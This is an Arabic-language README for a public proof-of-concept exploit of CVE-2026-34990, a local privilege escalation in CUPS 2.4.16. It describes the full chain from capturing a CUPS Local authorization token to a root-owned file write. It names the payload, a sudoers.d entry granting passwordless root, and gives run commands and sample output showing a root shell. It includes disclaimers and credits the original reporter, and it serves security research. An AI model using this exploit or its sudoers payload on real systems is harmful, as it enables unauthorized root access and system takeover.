CVE-2026-34990 | CUPS Local Privilege Escalation PoC

إثبات مفهوم عام لـ CVE-2026-34990، وهي ثغرة تصعيد صلاحيات محلية تؤثر على CUPS 2.4.16.

يوضح الاستغلال كيف يمكن لمستخدم محلي غير متميز إساءة استخدام المصادقة المحلية في CUPS وسلوك إعداد الطابعة للحصول على كتابة ملف عشوائي بصلاحيات root وتصعيد الصلاحيات.

الثغرة

• CVE: CVE-2026-34990
• المكوّن: CUPS
• الإصدار المُختبَر: CUPS 2.4.16
• النوع: تصعيد صلاحيات محلي
• التأثير: كتابة ملف عشوائي بصلاحيات root
• الإصدار المُصلَّح: CUPS 2.4.17

الإسناد

تم الإبلاغ عن CVE-2026-34990 في الأصل بواسطة:

Asim Viladi Oglu Manizada (@manizada)

أنا لست مكتشف هذه الثغرة.

يحتوي هذا المستودع على تنفيذ إثبات المفهوم الخاص بي، المُكيَّف والمُختبَر، بناءً على معلومات تقنية مُفصح عنها علنًا.

كيف يعمل

على مستوى عالٍ، سلسلة الاستغلال هي:

Local unprivileged user
        |
        v
Create temporary CUPS printer
        |
        v
Trigger outbound IPP authentication
        |
        v
Capture Authorization: Local token
        |
        v
Reuse token against privileged CUPS operations
        |
        v
Create/persist file:// printer
        |
        v
Submit print job
        |
        v
Root-owned arbitrary file write
        |
        v
Privilege escalation

يستخدم إثبات المفهوم اسم المستخدم المحلي الحالي تلقائيًا.

على سبيل المثال، عند تنفيذه باسم:

alice

تستهدف حزمة العرض التوضيحي:

/etc/sudoers.d/alice-pwn

وتحاول كتابة:

alice ALL=(ALL) NOPASSWD: ALL

يمكن بعد ذلك التحقق من نجاح الاستغلال باستخدام:

sudo -n id

مثال:

uid=0(root) gid=0(root) groups=0(root)

المتطلبات

يتوقع إثبات المفهوم:

• Linux
• Python 3
• تثبيت CUPS قابل للاستغلال
• ipptool
• lp
• lpstat
• وصول محلي إلى مجدول CUPS

تحقق من إصدار CUPS:

cups-config --version

تحقق من أن المجدول قيد التشغيل:

lpstat -r

تحقق من مستمع CUPS المحلي:

ss -lnt | grep 631

الاستخدام

استنسخ المستودع:

git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC

شغّل:

python3 exploit.py

مثال على المخرجات:

[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn

[+] Local token: <LOCAL_TOKEN>

[*] attempt 1: <printer-name>

[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)

[*] next: sudo -n bash

بعد نجاح الاستغلال:

sudo -n bash

النطاق

كُتب إثبات المفهوم هذا عمدًا كتنفيذ عام للثغرة المُفصح عنها علنًا.

لا يحتوي على:

• معلومات خاصة بـ CTF
• معلومات منصات التدريب
• أسماء الأجهزة
• بيانات الاعتماد
• الأعلام (Flags)
• عناوين IP للهدف
• أسرار خاصة بالبيئة

إخلاء المسؤولية

يُقدَّم هذا الكود من أجل:

• البحث الأمني
• إعادة إنتاج الثغرات
• الاختبار الدفاعي
• الأغراض التعليمية
• اختبار الاختراق المصرَّح به

استخدم هذا الكود فقط على الأنظمة التي تملكها أو الأنظمة التي لديك تصريح صريح بها.

المؤلف غير مسؤول عن إساءة استخدام هذا البرنامج.

الإسناد

اكتشاف الثغرة:
Asim Viladi Oglu Manizada (@manizada)

تكييف إثبات المفهوم، والاختبار، والتوثيق:
Noor Khalil

المراجع

• CVE-2026-34990
• OpenPrinting CUPS
• OpenPrinting Security Advisory - GHSA-c54j-2vqw-wpwp